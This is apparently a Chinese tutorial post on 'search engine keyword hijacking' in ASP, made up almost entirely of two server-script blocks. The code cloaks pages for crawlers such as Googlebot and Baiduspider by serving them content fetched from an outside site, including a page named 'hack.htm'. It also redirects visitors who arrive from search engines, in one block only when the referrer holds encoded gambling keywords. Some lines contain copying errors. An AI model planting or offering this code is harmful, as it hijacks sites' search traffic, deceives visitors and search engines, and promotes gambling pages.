搜索引擎关键词劫持之asp篇

<% 
function GetBot() 
‘查询蜘蛛 
dim s_agent 
GetBot="" 
s_agent=Request.ServerVariables("HTTP_USER_AGENT") ‘关键判断语句 
if instr(1,s_agent,"googlebot",1) >0 then 
GetBot="google" 
end if 
if instr(1,s_agent,"msnbot",1) >0 then 
GetBot="MSN" 
end if 
if instr(1,s_agent,"slurp",1) >0 then 
GetBot="Yahoo" 
end if 
if instr(1,s_agent,"baiduspider",1) >0 then 
GetBot="baidu" 
end if 
if instr(1,s_agent,"sohu-search",1) >0 then 
GetBot="Sohu" 
end if 
if instr(1,s_agent,"lycos",1) >0 then 
GetBot="Lycos" 
end if 
if instr(1,s_agent,"robozilla",1) >0 then 
GetBot="Robozilla" 
end if 
end function 
Function getHTTPPage(Path) 
t = GetBody(Path) 
getHTTPPage=BytesToBstr(t,"GB2312")‘编码 
End function 
Function Newstring(wstr,strng) 
Newstring=Instr(lcase(wstr),lcase(strng)) 
if Newstring<=0 then Newstring=Len(wstr) 
End Function 
Function GetBody(url) 
on error resume next 
Set Retrieval = CreateObject("Microsoft.XMLHTTP") 
With Retrieval 
.Open "Get", url, False, "", "" 
.Send 
GetBody = .ResponseBody 
End With 
Set Retrieval = Nothing 
End Function 
Function BytesToBstr(body,Cset) 
dim objstream 
set objstream = Server.CreateObject("adodb.stream") 
objstream.Type = 1 
objstream.Mode =3 
objstream.Open 
objstream.Write body 
objstream.Position = 0 
objstream.Type = 2 
objstream.Charset = Cset 
BytesToBstr = objstream.ReadText 
objstream.Close 
set objstream = nothing 
End Function 
Dim wstr,str,url,start,over,dtime 
if GetBot="baidu" then 
‘给百度蜘蛛定制的内容 
url="http://www.yunsec.net" 
‘想要展示给蜘蛛的页面地址 
wstr=getHTTPPage(url) 
body=wstr 
response.write ""&body&"" 
response.end 
elseif GetBot="google" then 
‘给google 蜘蛛定制的内容 
url="http://www.yunsec.net" 
wstr=getHTTPPage(url) 
body=wstr 
response.write ""&body&"" 
response.end 
end if 
if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then 
‘如果用户来自www.baidu.com 
response.redirect("http://www.yunsec.net/") 
‘跳转指定地址 
end if 
%> 

<% 
function hasKey() 
dim urlrefer,i,searray 
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) 
hasKey= false 
if urlrefer="" then fromse= false 
searray=array("%e7%9c%9f%e9%92%b1%e6%b8%b8%e6%88%8f","%e9%be%99%e8%99%8e%e6%96%97","%e7%9c%9f%e9%92%b1%e9%be%99%e8%99%8e%e6%96%97","%e8%b4%a2%e7%a5%9e%e5%8d%9a%e5%bd%a9%e7%bd%91","%e8%b4%a2%e7%a5%9e%e5%8d%9a%e5%bd%a9,%d5%e6%c7%ae%d3%ce%cf%b7","%d5%e6%c7%ae%c1%fa%bb%a2%b6%b7","%b2%c6%c9%f1%b2%a9%b2%ca%cd%f8","%b2%c6%c9%f1%b2%a9%b2%ca") 
for i=0 to ubound(searray) 
if (instr(urlrefer,searray(i))>0) then hasKey=true 
next 
end function 
 
function fromse() 
dim urlrefer,i,searray 
urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) 
fromse= false 
if urlrefer="" then fromse= false 
searray=array("google","baidu","sogou","yahoo","soso") 
for i=0 to ubound(searray) 
if (instr(urlrefer,searray(i))>0) then fromse=true 
next 
end function 
 
function isspider() 
dim agent,searray,i 
agent="agent:"&LCase(request.servervariables("http_user_agent")) 
searray=array("googlebot","baiduspider","sogou","yahoo","soso") 
isspider= false 
for i=0 to ubound(searray) 
if (instr(agent,searray(i))>0) then isspider=true 
next 
end function 
 
function gethttp(url) 
  dim http 
  set http=createobject("MSXML2.XMLHTTP") 
  Http.open "GET",url,false 
  Http.send() 
  if Http.readystate<>4 then 
    exit function 
  end if 
  gethttp=bytes2BSTR(Http.responseBody) 
  set http=nothing 
  if err.number<>0 then err.Clear 
end function 
 
function bytes2BSTR(vIn) 
  dim strReturn 
  dim i,ThisCharCode,NextCharCode 
  strReturn = "" 
  For i = 1 To LenB(vIn) 
  ThisCharCode = AscB(MidB(vIn,i,1)) 
  If ThisCharCode < &H80 Then 
  strReturnstrReturn = strReturn & Chr(ThisCharCode) 
  Else 
  NextCharCode = AscB(MidB(vIn,i+1,1)) 
  strReturnstrReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 
  ii = i + 1 
  End If 
  Next 
  bytes2BSTR = strReturn 
End function 
 
 
if(fromse() and hasKey()) then 
  Response.Redirect ("http://www.yunsec.net") 
end if 
 
if(isspider()) then 
    dim myfso,fileurl,filecon,myfile,remotehtml,bodyurl 
    bodyurl="http://www.yunsec.net/hack.htm" 
    response.clear 
    remotehtml=gethttp(bodyurl) 
    response.write(remotehtml) 
    response.write("<!--"&now()&"-->") 
    response.flush 
end if 
 
%>